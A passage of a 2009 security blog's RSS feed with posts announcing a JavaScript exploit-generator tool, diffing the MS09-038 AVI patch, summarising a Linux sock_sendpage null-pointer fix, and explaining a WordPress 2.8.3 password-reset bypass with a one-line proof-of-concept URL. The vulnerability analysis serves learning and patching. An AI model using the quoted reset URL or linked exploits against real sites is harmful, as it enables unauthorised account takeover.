		<category><![CDATA[Our site]]></category>

		<guid isPermaLink="false">http://blog.engineeringforfun.com/?p=388</guid>
		<description><![CDATA[A small tool I created called Durzosploit will be presented on December 3rd by Core Impact in one of their webcast. Durzosploit is a really small console tool you can use to generate Javascript exploits. Additionally I have no idea if people from Core Impact follow this blog, but if they do this is the URL [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=388&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A small tool I created called <a href="http://engineeringforfun.com/wiki/index.php/Durzosploit_Introduction">Durzosploit </a>will be presented on December 3rd by Core Impact in one of their <a href="http://www.coresecurity.com/Form/generic/campaign/snatchers3">webcast</a>. Durzosploit is a really small console tool you can use to generate Javascript exploits.</p>
<p>Additionally I have no idea if people from Core Impact follow this blog, but if they do this is the URL to my latest SVN project called ErebosHacking which contains the latest version of both Browser Rider and Durzosploit: <a href="//engineeringforfun.com/svn/erebos-hacking/">svn://engineeringforfun.com/svn/</a><span style="background-image:initial;background-repeat:initial;background-attachment:initial;background-color:#ffffcc;background-position:initial initial;"><a href="//engineeringforfun.com/svn/erebos-hacking/">erebos</a></span><a href="//engineeringforfun.com/svn/erebos-hacking/">-hacking/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/388/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/388/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/388/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=388&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2009/11/26/durzosploit-presented-in-a-core-impact-webcast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>Microsoft Windows Media File Handling Code Execution (MS09-038)</title>
		<link>http://engineeringforfun.wordpress.com/2009/08/18/microsoft-windows-media-file-handling-code-execution-ms09-038/</link>
		<comments>http://engineeringforfun.wordpress.com/2009/08/18/microsoft-windows-media-file-handling-code-execution-ms09-038/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 11:50:53 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Microsoft Security Patches]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MS09-038]]></category>
		<category><![CDATA[reversing]]></category>

		<guid isPermaLink="false">http://blog.engineeringforfun.com/?p=377</guid>
		<description><![CDATA[In this small post I will explain my analysis of Microsoft security patch MS09-038. As it is the first time that I even reverse anything, please excuse me in advance for all the things I may get wrong in that blog post and feel free to correct me or add anything through the comments. On [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=377&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In this small post I will explain my analysis of Microsoft security patch MS09-038. As it is the first time that I even reverse anything, please excuse me in advance for all the things I may get wrong in that blog post and feel free to correct me or add anything through the comments.</p>
<p>On the 11th of August, Microsoft published a security patch fixing an integer overflow vulnerability discovered by Vinay Anantharaman in Windows Media in AVI files. That vulnerability is present within Avifil32.dll.</p>
<p>The vulnerable decompiled function:</p>
<pre class="brush: cpp; wrap-lines: false;">
signed int __stdcall sub_73AAA586(int a1, int a2, int a3)
{
  DWORD v3; // ecx@1
  int v4; // edi@1
  signed int result; // eax@2
  int v6; // esi@3
  HGLOBAL hMem; // eax@5
  LPVOID LP_ret_GlobalLock_2; // ebx@7
  unsigned int v9; // eax@1
  HGLOBAL v10; // eax@5
  DWORD v11; // ST04_4@5
  HGLOBAL v12; // eax@5
  LPVOID LP_ret_GlobalLock_1; // eax@7
  int v14; // eax@9

  v4 = a3;
  v9 = *(_DWORD *)(a3 + 4);
  v3 = v9 + 8;
  a3 = v9 + 8;
  if ( v9 + 8 &amp;lt; v9 )
    return -2147205017;
  v6 = a1;
  if ( *(_DWORD *)a1 )
  {
    if ( v3 + *(_DWORD *)(a1 + 4) &amp;lt; v3 )
      return -2147205017;
    v10 = GlobalHandle(*(LPCVOID *)a1);
    GlobalUnlock(v10);
    v11 = a3 + *(_DWORD *)(v6 + 4);
    v12 = GlobalHandle(*(LPCVOID *)v6);
    hMem = GlobalReAlloc(v12, v11, 0x2002u);
  }
  else
  {
    hMem = GlobalAlloc(0x2002u, v3);
  }
  LP_ret_GlobalLock_1 = GlobalLock(hMem);
  LP_ret_GlobalLock_2 = LP_ret_GlobalLock_1;
  if ( !LP_ret_GlobalLock_1 )
    return -2147205017;
  v14 = *(_DWORD *)(v6 + 4);
  *(_DWORD *)v6 = LP_ret_GlobalLock_2;
  *(_DWORD *)((char *)LP_ret_GlobalLock_2 + v14) = *(_DWORD *)v4;
  *(_DWORD *)(LP_ret_GlobalLock_2 + *(_DWORD *)(v6 + 4) + 4) = *(_DWORD *)(v4 + 4);
  sub_73AAFE2D(a2, *(_DWORD *)(v4 + 12), 0);
  if ( sub_73AAFDAF(a2, (HPSTR)LP_ret_GlobalLock_2 + *(_DWORD *)(v6 + 4) + 8, *(_DWORD *)(v4 + 4)) == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v6 + 4) += a3 + (a3 &amp;amp; 1);
    result = 0;
  }
  else
  {
    result = -2147205011;
  }
  return result;
}
</pre>
<p>The patch modified the function like so:</p>
<pre class="brush: cpp; wrap-lines: false;">
igned int __stdcall sub_73B5A58C(int a1, int a2, int a3)
{
  DWORD v3; // ecx@1
  int v4; // edi@1
  signed int result; // eax@2
  int v6; // esi@3
  HGLOBAL hMem; // eax@5
  LPVOID LP_ret_GlobalLock_2; // ebx@7
  int v9; // eax@8
  unsigned int v10; // eax@1
  HGLOBAL v11; // eax@5
  DWORD v12; // ST04_4@5
  HGLOBAL v13; // eax@5
  LPVOID LP_ret_GlobalLock_1; // eax@7

  v4 = a3;
  v10 = *(_DWORD *)(a3 + 4);
  v3 = v10 + 8;
  a3 = v10 + 8;
  if ( v10 + 8 &amp;lt; v10 )
    return -2147205017;
  v6 = a1;
  if ( *(_DWORD *)a1 )
  {
    if ( v3 + *(_DWORD *)(a1 + 4) &amp;lt; v3 )
      return -2147205017;
    v11 = GlobalHandle(*(LPCVOID *)a1);
    GlobalUnlock(v11);
    v12 = a3 + *(_DWORD *)(v6 + 4);
    v13 = GlobalHandle(*(LPCVOID *)v6);
    hMem = GlobalReAlloc(v13, v12, 0x2002u);
  }
  else
  {
    hMem = GlobalAlloc(0x2002u, v3);
  }
  LP_ret_GlobalLock_1 = GlobalLock(hMem);
  LP_ret_GlobalLock_2 = LP_ret_GlobalLock_1;
  if ( !LP_ret_GlobalLock_1 || (v9 = *(_DWORD *)(v6 + 4), *(_DWORD *)v6 = LP_ret_GlobalLock_2, v9 &amp;lt; 0) )
    return -2147205017;
  *(_DWORD *)((char *)LP_ret_GlobalLock_2 + v9) = *(_DWORD *)v4;
  *(_DWORD *)(LP_ret_GlobalLock_2 + *(_DWORD *)(v6 + 4) + 4) = *(_DWORD *)(v4 + 4);
  sub_73B5FE37(a2, *(_DWORD *)(v4 + 12), 0);
  if ( sub_73B5FDB9(a2, (HPSTR)LP_ret_GlobalLock_2 + *(_DWORD *)(v6 + 4) + 8, *(_DWORD *)(v4 + 4)) == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v6 + 4) += a3 + (a3 &amp;amp; 1);
    result = 0;
  }
  else
  {
    result = -2147205011;
  }
  return result;
}
</pre>
<p>From my understanding, the patch pretty much just checks that  *(_DWORD *)(v6 + 4) is more than zero before processing the rest of the code. If not it returns:</p>
<pre class="brush: cpp;">if ( !LP_ret_GlobalLock_1 || (v9 = *(_DWORD *)(v6 + 4), *(_DWORD *)v6 = LP_ret_GlobalLock_2, v9 &amp;lt; 0) )</pre>
<p>I haven&#8217;t located exactly where the integer overflow can be used to trigger a memory corruption bug yet so feel free to give me a hint!</p>
<p>Ps: Thanks for Ivanlef0u, if he ever comes on that blog post, for his patience on IRC.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/377/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/377/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/377/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=377&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2009/08/18/microsoft-windows-media-file-handling-code-execution-ms09-038/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>Linux kernel: uninit op in SOCKOPS_WRAP() leads to privesc</title>
		<link>http://engineeringforfun.wordpress.com/2009/08/16/linux-kernel-uninit-op-in-sockops_wrap-leads-to-privesc/</link>
		<comments>http://engineeringforfun.wordpress.com/2009/08/16/linux-kernel-uninit-op-in-sockops_wrap-leads-to-privesc/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 23:59:29 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cr0]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[holy shit!]]></category>
		<category><![CDATA[null pointer dereference]]></category>

		<guid isPermaLink="false">http://blog.engineeringforfun.com/?p=365</guid>
		<description><![CDATA[Linus Torvalds committed a silent null pointer dereference security fix on the 13th of August 2009. if (more) flags &#124;= MSG_MORE; - return sock-&#38;gt;ops-&#38;gt;sendpage(sock, page, offset, size, flags); + return kernel_sendpage(sock, page, offset, size, flags); } static ssize_t sock_splice_read(struct file *file, loff_t *ppos, The issue is very straight forward: sock-&#62;ops-&#62;sendpage is not checked to be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=365&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Linus Torvalds <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e694958388c50148389b0e9b9e9e8945cf0f1b98">committed</a> a silent null pointer dereference security fix on the 13th of August 2009.</p>
<pre class="brush: diff; wrap-lines: false;">        if (more)
                flags |= MSG_MORE;

-       return sock-&amp;gt;ops-&amp;gt;sendpage(sock, page, offset, size, flags);
+       return kernel_sendpage(sock, page, offset, size, flags);
 }

 static ssize_t sock_splice_read(struct file *file, loff_t *ppos,</pre>
<p>The issue is very straight forward: sock-&gt;ops-&gt;sendpage is not checked to be valid before being returned.</p>
<p>To quote Julien Tinnes:</p>
<blockquote><p>The issue lies in how Linux deals with unavailable operations for some protocols. sock_sendpage and others don&#8217;t check for NULL pointers before dereferencing operations in the ops structure. Instead the kernel relies on correct initialization of those proto_ops structures with stubs (such as sock_no_sendpage) instead of NULL pointers.</p></blockquote>
<p>The fix calls the following kernel_sendpage() function which does exactly that check:</p>
<pre class="brush: cpp; wrap-lines: false;">int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags)
{
        if (sock-&amp;gt;ops-&amp;gt;sendpage)
                return sock-&amp;gt;ops-&amp;gt;sendpage(sock, page, offset, size, flags);

        return sock_no_sendpage(sock, page, offset, size, flags);
}
</pre>
<p>You may want to have a look at the following urls for more stuff:</p>
<ul>
<li>Brad Splengler&#8217;s <a href="http://grsecurity.net/%7Espender/wunderbar_emporium.tgz">exploit</a></li>
<li>The <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">Cr0 blog</a>, which give more details about that vulnerability.</li>
<li>Red Hat&#8217;s <a href="https://bugzilla.redhat.com/show_bug.cgi?id=516949">report</a></li>
<li><a href="https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-2692#c10">Mitigations</a> for that bug from Eugene Teo</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/365/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/365/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/365/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=365&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2009/08/16/linux-kernel-uninit-op-in-sockops_wrap-leads-to-privesc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
		<item>
		<title>Bypassing PHP empty() function</title>
		<link>http://engineeringforfun.wordpress.com/2009/08/11/bypassing-php-empty-function/</link>
		<comments>http://engineeringforfun.wordpress.com/2009/08/11/bypassing-php-empty-function/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 07:36:05 +0000</pubDate>
		<dc:creator>Ben</dc:creator>
				<category><![CDATA[Hacking related]]></category>
		<category><![CDATA[Web security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[reset admin]]></category>

		<guid isPermaLink="false">http://blog.engineeringforfun.com/?p=354</guid>
		<description><![CDATA[Laurent Gaffié published a bug in WordPress 2.8.3 today allowing an attacker to reset the blog administrator password without a valid $key. In other words, without confirmation. That bug is definitely a low risk issue, if considered at all a &#8220;security bug&#8221;. However what is interesting to learn from it is what happens without the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=354&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Laurent Gaffié published a <a href="http://seclists.org/fulldisclosure/2009/Aug/0113.html">bug</a> in WordPress 2.8.3 today allowing an attacker to reset the blog administrator password without a valid <em>$key</em>. In other words, without confirmation.</p>
<p>That bug is definitely a low risk issue, if considered at all a &#8220;security bug&#8221;. However what is interesting to learn from it is what happens without the PHP code of WordPress.</p>
<p>That&#8217;s the buggy function:</p>
<pre class="brush: php; wrap-lines: false;">function reset_password($key) {
	global $wpdb;

	$key = preg_replace('/[^a-z0-9]/i', '', $key);

	if ( empty( $key ) )
		return new WP_Error('invalid_key', __('Invalid key'));

	$user = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;users WHERE user_activation_key = %s&quot;, $key));
	if ( empty( $user ) )
		return new WP_Error('invalid_key', __('Invalid key'));

	// Generate something random for a password...
	$new_pass = wp_generate_password();

	do_action('password_reset', $user, $new_pass);

	wp_set_password($new_pass, $user-&amp;gt;ID);
...
}</pre>
<p>Laurent tells us:<em>&#8220;A web browser is sufficiant to reproduce this Proof of concept: http://DOMAIN_NAME.TLD/wp-login.php?action=rp&amp;<strong>key[]=</strong> The password will be reset without any confirmation.&#8221;</em></p>
<p>So basically, by sending an array instead of a string, Laurent was able to bypass the empty() check at line 190. What&#8217;s even more interesting from here is the check done by WordPress to verify if the key can be found within the database:</p>
<pre class="brush: php; wrap-lines: false;">$user = $wpdb-&amp;gt;get_row($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;users WHERE user_activation_key = %s&quot;, $key));
if ( empty( $user ) )
	return new WP_Error('invalid_key', __('Invalid key'));</pre>
<p>This have been placed to detect any abuse of the key. But is not functional because by default the <a href="http://codex.wordpress.org/Function_Reference/wpdb_Class">get_row()</a> function returns an object which is not considered empty or null by the empty() function at line 194.</p>
<p>The <a href="http://core.trac.wordpress.org/changeset/11799/trunk#file0">patch</a> applied by WordPress is the following:</p>
<pre class="brush: php; wrap-lines: false;">- if ( empty( $key )  )
+ if ( empty( $key ) || !is_string( $key ) )</pre>
<p>However this only solves partially the problem. The second check can probably still be bypassed&#8230;</p>
<p>Conclusion of this post: using empty() for security checks is clearly not enough; you also need to check the type of your variable and eventually it&#8217;s value.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/engineeringforfun.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/engineeringforfun.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/engineeringforfun.wordpress.com/354/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=engineeringforfun.wordpress.com&amp;blog=13029915&amp;post=354&amp;subd=engineeringforfun&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://engineeringforfun.wordpress.com/2009/08/11/bypassing-php-empty-function/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/91a7a9f9aa76c1fd4d2714adff26db26?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">benjilenoob</media:title>
		</media:content>
	</item>
	</channel>
</rss>